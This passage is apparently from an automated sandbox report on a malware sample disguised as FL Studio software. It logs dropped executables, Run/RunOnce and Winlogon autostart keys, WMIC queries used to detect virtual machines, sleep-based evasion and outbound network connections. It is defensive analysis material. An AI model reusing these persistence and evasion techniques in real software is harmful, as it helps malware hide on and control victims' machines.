Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_022535E9 push eax; iretd	30_3_022535F5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02254F74 push eax; retf	30_3_0225512D
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02254D71 push eax; ret	30_3_02254EE9

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	File created: C:\Program Files\Image-Line\FL Studio 20\FL64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Replace.exe	File created: C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	File created: C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\Replace.exe	File created: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run InetHelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run InetHelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run InetHelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run InetHelper	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce InetHelper			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce cleaninethelper			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce cleaninethelper	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce cleaninethelper	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce cleaninethelper	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce cleaninethelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce InetHelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce InetHelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce InetHelper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce InetHelper	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 6101
Source: unknown	Network traffic detected: HTTP traffic on port 6101 -> 49757

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 200000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 200000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 200000

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 1328	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 1331	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 1333

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Dropped PE file which has not been started: C:\Program Files\Image-Line\FL Studio 20\FL64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Replace.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Dropped PE file which has not been started: C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_1-204

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7612	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7612	Thread sleep count: 1328 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8348	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8348	Thread sleep count: 1331 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8664	Thread sleep time: -200000s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8664	Thread sleep count: 1333 > 30

Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 1328 delay: -10	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 1331 delay: -10	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 1333 delay: -10

Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BB2EFC FindFirstFileA,FindFirstFileW,	0_2_00BB2EFC
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB9B8F8 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	2_2_00007FF75FB9B8F8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC0870 FindFirstFileExA,	2_2_00007FF75FBC0870
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB0310 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,swprintf,SetDlgItemTextW,FindClose,swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,swprintf,SetDlgItemTextW,swprintf,SetDlgItemTextW,	2_2_00007FF75FBB0310
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_0040672B FindFirstFileW,FindClose,	13_2_0040672B
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	13_2_00405AFA
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_00402868 FindFirstFileW,	13_2_00402868
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_0040672B FindFirstFileW,FindClose,	20_2_0040672B
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	20_2_00405AFA
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_00402868 FindFirstFileW,	20_2_00402868

Source: C:\Users\user\Desktop\Replace.exe

Code function: 0_2_00BB805B GetCurrentProcess,GetProcessAffinityMask,GetSystemInfo,

0_2_00BB805B

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 200000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 200000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 200000

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper	Jump to behavior

Source: node.exe, 00000017.00000002.2243002549.00000000020E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3R
Source: rundll32.exe, 0000000A.00000002.2283478293.0000000002DDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: rundll32.exe, 0000000A.00000002.2283478293.0000000002E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: rundll32.exe, 00000001.00000002.2143068328.000000000291D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000001.00000002.2142874146.00000000028E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.2108933637.000000000291D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.2195281526.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.2229422282.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.2229301918.0000000002F2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000003.2261502144.0000000002E33000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.2284339573.0000000002E34000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000003.2261300042.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2921222937.0000000001F88000.00000004.00000020.00020000.00000000.sdmp, node.exe, 00000017.00000002.2243002549.00000000020E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: node.exe, 0000001E.00000002.2323469953.000000000EC80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: lgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmcIGfE

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	API call chain: ExitProcess graph end node	graph_2-21967
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	API call chain: ExitProcess graph end node	graph_13-3704
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Replace.exe

Code function: 0_2_00BCC996 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00BCC996

Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BD269F mov eax, dword ptr fs:[00000030h]	0_2_00BD269F
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BD26E3 mov eax, dword ptr fs:[00000030h]	0_2_00BD26E3
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BD0F91 mov eax, dword ptr fs:[00000030h]	0_2_00BD0F91

Source: C:\Users\user\Desktop\Replace.exe

Code function: 0_2_00BD4909 GetProcessHeap,

0_2_00BD4909

Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BCC996 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BCC996
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BD1922 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BD1922
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BCCB2A SetUnhandledExceptionFilter,	0_2_00BCCB2A
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BCBE82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00BCBE82
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC6D04 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF75FBC6D04
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB43E0 SetUnhandledExceptionFilter,	2_2_00007FF75FBB43E0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBBDB3C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF75FBBDB3C
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB41FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF75FBB41FC

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 172.67.152.151 443

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Code function: EntryPoint,GetModuleFileNameW,_wsplitpath,GetCommandLineW,wcsstr,CreateToolhelp32Snapshot,memset,Process32FirstW,CloseHandle,_wcsicmp,_wcsicmp,OpenProcess,QueryFullProcessImageNameW,_wcsicmp,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,CreateFileW,free,FindCloseChangeNotification,MoveFileExW,memset,CreateFileW,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,DuplicateHandle,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,CloseHandle,FindCloseChangeNotification,free,free,free,memset,CreateProcessW,free,CloseHandle,CloseHandle,CloseHandle,CloseHandle,RegCreateKeyExW,wcslen,wcslen,RegSetValueExW,RegSetValueExW,RegCloseKey,RegCloseKey,free,RegCreateKeyExW,wcslen,RegSetValueExW,RegCloseKey, explorer.exe,"	14_2_00ED107D
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Code function: EntryPoint,GetModuleFileNameW,_wsplitpath,GetCommandLineW,wcsstr,CreateToolhelp32Snapshot,memset,Process32FirstW,CloseHandle,_wcsicmp,_wcsicmp,OpenProcess,QueryFullProcessImageNameW,_wcsicmp,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,CreateFileW,free,FindCloseChangeNotification,MoveFileExW,memset,CreateFileW,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,DuplicateHandle,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,CloseHandle,FindCloseChangeNotification,free,free,free,memset,CreateProcessW,free,CloseHandle,CloseHandle,CloseHandle,CloseHandle,RegCreateKeyExW,wcslen,wcslen,RegSetValueExW,RegSetValueExW,RegCloseKey,RegCloseKey,free,RegCreateKeyExW,wcslen,RegSetValueExW,RegCloseKey, explorer.exe,"	22_2_0057107D
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Code function: EntryPoint,GetModuleFileNameW,_wsplitpath,GetCommandLineW,wcsstr,CreateToolhelp32Snapshot,memset,Process32FirstW,CloseHandle,_wcsicmp,_wcsicmp,OpenProcess,QueryFullProcessImageNameW,_wcsicmp,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,CreateFileW,free,FindCloseChangeNotification,MoveFileExW,memset,CreateFileW,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,DuplicateHandle,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,CloseHandle,FindCloseChangeNotification,free,free,free,memset,CreateProcessW,free,CloseHandle,CloseHandle,CloseHandle,CloseHandle,RegCreateKeyExW,wcslen,wcslen,RegSetValueExW,RegSetValueExW,RegCloseKey,RegCloseKey,free,RegCreateKeyExW,wcslen,RegSetValueExW,RegCloseKey, explorer.exe,"	29_2_00FE107D

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
